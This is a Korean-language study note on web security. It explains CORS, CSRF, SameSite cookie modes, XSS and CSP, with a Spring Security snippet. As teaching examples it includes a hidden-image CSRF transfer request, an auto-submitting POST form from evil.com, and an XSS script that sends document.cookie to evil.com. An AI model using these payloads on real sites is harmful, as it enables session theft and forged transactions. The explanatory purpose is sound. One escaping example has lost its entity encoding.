CORS (Cross-Origin Resource Sharing)
웹에서는 보안을 위해 기본적으로 한 웹 페이지(출처 A)에서 다른 웹 페이지(출처 B)의 데이터를 직접 불러오는 것을 제한하는데 이를 '동일 출처 정책(Same-Origin Policy)' 이라고 한다.
기본적으로 브라우저는 다른 origin으로의 요청 결과를 JavaScript가 읽지 못하게 막으며, CORS는 서버가 "이 origin은 허용한다"고 명시적으로 풀어주는 방식이다.
Origin이란 scheme + host + port (서브도메인도 다른 origin)
CORS는 Simple Request와 Preflight 2가지가 있다.
Simple Request 조건 (전부 만족 시):
- 메서드: GET, HEAD, POST
- 헤더: Accept, Accept-Language, Content-Language, Content-Type 정도만
- Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain
Preflight 발생 조건:
- PUT, DELETE, PATCH 등
- Authorization 헤더
- Content-Type: application/json
한계
- 서버 프록시로 우회 가능
- 브라우저 보안일 뿐 서버 보안 아니다.
- 브라우저가 응답을 막는 것이므로 curl, Postman에서는 CORS 에러가 발생하지 않는다.
스프링 시큐리티 사용을 가정 하에 흐름 정리
1. 브라우저 → 서버: 요청 (Origin: https://client.com)
2. 서버(CorsFilter): 응답에 Allow 헤더 붙임
3. 서버 → 브라우저: 응답 + CORS 헤더
4. 브라우저: 헤더 확인 → 허용/차단
CSRF (Cross-Site Request Forgery)
악성 사이트가 사용자 브라우저를 이용해 쿠키가 자동 첨부된 요청을 보내게 만드는 공격이다.
쉽게 말해, 사용자가 로그인된 상태를 악용해서 의도하지 않은 요청을 보내게 만드는 공격이다.
공격 시나리오
- 사용자가 bank.com에 로그인함 (세션 쿠키가 브라우저에 저장됨)
- 로그아웃 안 한 채로 악성 사이트 evil.com 방문
- evil.com에 이런 코드가 숨겨져 있음 <img src="https://bank.com/transfer?to=hacker&amount=1000000">
- 브라우저가 이 요청을 보낼 때 bank.com의 쿠키를 자동으로 첨부함
- 서버는 정상 요청으로 인식 → 송금 실행
핵심 포인트
- 브라우저는 해당 도메인에 요청할 때 쿠키를 자동으로 보낸다.
- 서버 입장에서는 정상 사용자의 요청처럼 보인다.
- 사용자는 자기도 모르게 요청을 보내게 된다.
방어 방법:
- CSRF 토큰: 서버가 발급한 토큰을 폼에 포함시켜야 요청 처리
- SameSite 쿠키: SameSite=Strict 또는 Lax로 설정
- Origin/Referer 검증: 요청이 어디서 왔는지 확인
- Custom 헤더 요구: X-Requested-With 같은 헤더 필수화 (preflight 유발)
SameSite
3가지 속성이 존재한다.
Strict
- Stric 동일 사이트에서 오는 모든 요청에 쿠키가 포함되고 크로스 사이트간 HTTP 요청에 쿠키가 포함되지 않는다.
Lax
- 동일 사이트에서 오거나 Top Level Navigation 에서 오는 요청 및 메소드가 읽기 전용인 경우 쿠키가 전송되고 그렇지 않으면 HTTP 요청에 쿠키가 포함되지 않는다.
- 사용자가 링크(<a>)를 클릭하거나 window.location.replace , 302 리다이렉트 등의 이동이 포함된다. 그러나 <iframe>이나 <img>를 문서에 삽입, AJAX 통신 등은 쿠키가 전송되지 않는다.
None
- 동일 사이트 및 크로스 사이트 요청의 경우에도 쿠키가 전송된다. 이 모드에서는 HTTS 의한 Secure 쿠키로 설정되야 한다
질문 1. CORS 만 있으면 CSRF를 전부 막을 수 있을까?
<!-- 악성 사이트 evil.com -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>
이 폼 제출은 CORS 검사 없이 그냥 실행된다.
브라우저는 "simple request"로 분류되는 요청(GET, POST with form data 등)을 preflight 없이 보내기 때문이다.
그러나 CORS도 도움이 되는 부분이 존재한다.
JSON API처럼 Content-Type: application/json을 요구하면 preflight가 발생하고,
서버가 허용하지 않은 origin은 요청 자체가 차단된다.
하지만 이것도 CORS 설정이 제대로 되어 있을 때만 유효하다.
결론: CORS는 CSRF 방어의 보조 수단일 뿐, 주된 방어책이 아니다.
질문 2. CORS 를 적용하고 SameSite가 Lax면 CSRF를 전부 막을 수 있을까?
Lax의 동작 방식은 아래와 같이 정리할 수 있다.
- 링크 클릭 (GET) -> 쿠키 전송
- 주소창 직접 입력 -> 쿠키 전송
- <form method="POST"> -> 차단
- <form method="GET"> (cross-site) -> 차단
- fetch() / XMLHttpRequest -> 차단
- <img>, <iframe> -> 차단
훌륭해보이지만 결국 GET 요청으로 상태를 변경하는 API가 있다면 위험하다.
결론은 다음과 같다.
- Lax가 안전한 이유: POST/PUT/DELETE 같은 상태 변경 요청에서 cross-site 쿠키를 차단
- 전제 조건: GET 요청이 상태를 변경하지 않아야 한다. (RESTful 설계)
- 더 안전하게: SameSite=Strict를 쓰면 링크 클릭도 차단하지만, UX가 불편해질 수 있다.
XSS (Cross-Site Scripting)
악성 스크립트를 웹사이트에 삽입해서 다른 사용자 브라우저에서 실행시키는 공격.
시나리오
1. 게시판에 이런 글을 작성
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
2. 다른 사용자가 이 글을 보면 스크립트가 실행된다.
3. 그 사용자의 쿠키가 evil.com으로 전송되며, 쿠키 탈취가 완료된다.
CSRF와 달리 쿠키 값 자체를 훔칠 수 있는 것이다.
방어 로직
- HttpOnly 쿠키 → JavaScript로 쿠키 접근 불가
- 사용자 입력 이스케이프 처리 (<script> → <script>)
- CSP (Content Security Policy) 설정 (브라우저가 지원하는 보안 정책)
참고 1. CSP란?
CSP는 웹 브라우저에서 실행할 수 있는 리소스의 출처를 제한하는 보안 정책이다.
HTTP 헤더를 통해 설정하며, XSS 공격을 효과적으로 차단한다.
동작 원리
1. 브라우저가 페이지를 로드할 때 CSP 헤더를 확인하고, 허용되지 않은 출처의 스크립트/리소스 실행을 차단한다.
Content-Security-Policy: script-src 'self' https://trusted.com
이 설정은 자기 도메인과 trusted.com에서 온 스크립트만 실행을 허용한다.
주요 디렉티브
- script-srcJavaScript 실행 출처
- style-srcCSS 로드 출처
- img-src이미지 로드 출처
- connect-srcAJAX/WebSocket 연결 출처
- default-src기본 정책 (다른 디렉티브 미설정 시 적용)
XSS 차단 예시
공격자가 인라인 스크립트를 삽입한다.
<script>alert('XSS')</script>
그래도 CSP에서 script-src 'self'로 설정되어 있으면, 인라인 스크립트 실행이 차단된다.
아래는 스프링 설정 예시다.
@Override
protected void configure(HttpSecurity http) throws Exception {
http.headers()
.contentSecurityPolicy("script-src 'self'");
}
CSP란 브라우저 정책이므로 서버에서 해당 헤더를 담아서 브라우저에 요청을 하는 개념이라고 생각하면 되겠다.